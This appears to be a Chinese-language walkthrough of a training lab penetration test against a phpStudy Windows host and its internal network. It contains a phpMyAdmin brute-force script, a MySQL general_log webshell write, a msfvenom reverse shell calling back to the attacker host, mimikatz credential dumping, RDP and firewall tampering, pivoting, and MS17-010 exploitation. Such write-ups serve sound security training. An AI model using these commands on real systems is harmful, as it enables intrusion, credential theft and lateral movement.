# 前言

实训中一个难度很小的靶机,第一次做这种,一些地方不太熟也是卡了很久很久。总的来说还是比较有意思的

# 外围打点

# 信息收集

首先将环境启起来

image-20240311120258242

首先进行信息收集,这里首先检查本机 ip

image-20240311120410482

这里 kali 和外网主机都使用 net 模式,然后这里 kail 本机 ip 是 192.168.246.136,先使用 fscan 进行主机发现

nmap 192.168.246.1/24

image-20240311120724569

这里可以看到发现了一个 192.168.246.136 的主机,上面开放了 80 和 3306 端口,初步判断是 httpd 和 mysql 服务,这里进一步进行协议发现

nmap 192.168.246.163 -p80,3306 -sV

image-20240311120937982

这里可以看到 80 端口开放的是一个 apache 的服务,版本是 2.4.23,php 版本是 5.4.45,这里先访问一下 80 端口的 web 服务同时去爆破一下 mysql 的用户名和密码

爆破密码

image-20240311144525239

这里没有爆破成功,有两种情况,一种是我的字典中没有对应的用户名和密码组合,还有一种就是该服务不允许外部连接

访问页面

image-20240311142411131

可以看到这里是一个 phpstudy 的探针,版本是 2014,这里能知道 windows 内核版本、主机名、网站的绝对路径、php 版本和已经加载的模块。还有一个 mysql 服务,这里先运行目录爆破

dirsearch -u http://192.168.246.163/

image-20240311143915846

这里可以看到有一个 phpinfo 和 phpmyadmin,之际尝试访问

image-20240311144023070

image-20240311144053685

这里 phpmyadmin 版本是

image-20240311145857199

没有目前没有公开的可利用的漏洞,这里尝试去爆破用户名和密码

image-20240311150353372

这里开始设想去爆破发现所有的结果都返回 302,选择跟踪重定向也不行,看来想要直接使用 burp 是不可行了,这里用 python 来实现

from requests import session
from re import findall
from html import unescape
# phpmyadmin 地址,例如 http://localhost/index.php
target = 'http://192.168.246.163/phpmyadmin/index.php'
# 用户名字典文件
# user = 'root'
namedic = 'namedic.txt'
# 字典文件路径
passdic = 'passwd.txt'
ss = session()
ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate',
              'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \
              Chrome/87.0.4280.88 Safari/537.36'}
	# 获取 token 函数
def get_token(text) -> str:
    token = findall("name=\"token\" value=\"(.*?)\" />", text)
    return unescape(token[0]) if token else None
	# 获取网站标题函数
def get_title(text) -> str:
    title = findall('<title>(.*)</title>', text)
    return title[0] if title else None
	#尝试登录函数
def try_login(user, pwd, token):
    data = {'pma_username': user,
            'pma_password': pwd,
            'server': 1,
            'target': 'index.php',
            'token': token}
    r = ss.post(url=target, data=data)
    return r.text
	#爆破函数
def burst_pma():
    html = try_login('', '', '')
    title_fail = get_title(html)
    token = get_token(html)
    with open(passdic, 'r', encoding='utf-8') as f:
        for line in f:
            with open(namedic, 'r', encoding='utf-8') as h:
                for li in h:
                    user = li.strip()
                    pwd = line.strip()
                    print(f'[?] loading  {user}  {pwd}  ')
                    html = try_login(user, pwd, token)
                    title = get_title(html)
                    token = get_token(html)
                    if title != title_fail:
                        print(f'[+] success  {title}')
                        exit()
                        with open('success.txt', 'a', encoding='utf-8') as g:
                            g.write(f'{target}  |  {user}  |  {pwd}\n')
                        break
                    else:
                        print(f'[-] failed  {title}')
if __name__ == "__main__":
    try:
        burst_pma()
    except Exception as e:
        print(e)

image-20240311152235336

可以看到这里用户名和密码就拿到了 root/root

image-20240311152449754

这里成功进来后我们就可以来尝试利用 mysql 来 getshell 了

# 突破边界

先查看 secure_file_priv

show global variables like '%secure_file_priv%';

image-20240311152845894

这里是 null,不允许导入导出,这里就不能利用了。简单查看一下当前的用户权限

image-20240311153408447

可以看到这里是 root 权限,权限比较高,可以利用的点也就比较多,首先查看日志是否开启

show global variables like "%general%";

image-20240311153545628

这里可以看到是关闭的,于是我们将其打开并设置路径到网站根目录下

# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='C:/phpStudy/WWW/conf.php';

image-20240311153720269

这里可以看到就已经成功更改了,写入一句话木马

select '<?php eval($_POST[1]); ?>';

image-20240311153924415

写入后直接连接即可,到这里外围打点就完成了

# 后渗透

首先利用上面拿到的 webshell 来使得主机在 msf 中上线,根据上面的 phpstudy 探针了解到目标系统是 win7,这里首先利用 msfvenom 来生成 shell

# 反向上线

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.246.136 LPORT=4444 -f exe -o reverse.exe

先生成一个 shell,然后通过蚁剑上传到目标靶机上

image-20240311162312570

然后设置一下 payload

image-20240311160239105

然后开启监听

image-20240311160312492

成功上线,然后尝试抓取 hash

image-20240311160451364

这里成功抓到,然后尝试抓取明文用户名密码

首先加载 kiwi

image-20240311160605863

kiwi_cmd a::    # 查看模块命令提示
kiwi_cmd sekurlsa::a  # 查看指定模块命令提示
kiwi_cmd privilege::debug   # 提升 mimikatz 权限
kiwi_cmd sekurlsa::logonPasswords  # 抓取登陆密码凭据

image-20240311160724059

查看模块的命令提示

image-20240311160821204

查看 sekurlsa 模块的命令提示,提升 mimikatz 权限

image-20240311161009864

然后尝试抓取明文密码(这个能抓到的情况需要当前用户登录过)

image-20240311162609830

这里抓取失败

# 远程桌面

这里进入到我们的 shell 里,首先我们添加一个我们登录使用的用户

net user clown your_passwd /add

image-20240311193406950

然后将这个用户添加到管理员组

net localgroup administrators clown /add

image-20240311193524102

使用 netstat 来查看已经开启的服务

image-20240311193659862

这里可以看到目标主机是没有开放 3389 端口的

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netsh advfirewall set allprofiles state off

这里开放服务且关闭目标主机防火墙

image-20240311193841274

这里可以看到目标已经成功开起 3389 服务

rdesktop 192.168.246.163

image-20240311193929440

登录成功

# 内网横向

# 主机 1

meterpreter> run get_local_subnets    # 获取网卡配置信息
meterpreter> run autoroute -s 192.168.52.0/24  # 开启自动路由
meterpreter> run autoroute -p         # 查看自动路由列表

image-20240311163541646

这里可以看到还有一个 52 网段的 ip

image-20240311163637741

这里开启自动路由后将当前的 shell 挂起来起一个 socks 代理

image-20240311163738160

然后使用 msf 的代理模块

use auxiliary/server/socks_proxy
run

image-20240311164131124

做一下内网存活扫描

for /L %i IN (1,1,254) DO ping -w 2 -n 1 192.168.52.%i    # ping C 段
arp -a   # 查看 arp 列表

image-20240311164516160

可以看到这里发现两个主机 192.168.52.138192.168.52.141

修改一下 proxychains.conf,来设置 socks 代理

image-20240311170828082

然后就可以使用这个代理来扫描内网端口

image-20240311170817446

image-20240311170941238

这里可以看到,都开有 445 端口,尝试利用 ms17_010

image-20240311171130836

这里可以看到利用成功,说明存在这个漏洞

set command net user clown123 test_passwd123 /add
run
set command net localgroup administrators clown123 /add 
run
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
set command 'netsh advfirewall set allprofiles state off'
run

image-20240311194704603

image-20240311181026922

image-20240311192011282

image-20240311192117399

然后直接远程连接即可

image-20240311194822150

成功

# 主机 2

代理设置都不用管,直接将 ms17-010 的 RHOST 更改一下即可

image-20240311195050398

然后将用户加入管理组,后面的都是一样的就不截图了

image-20240311195609652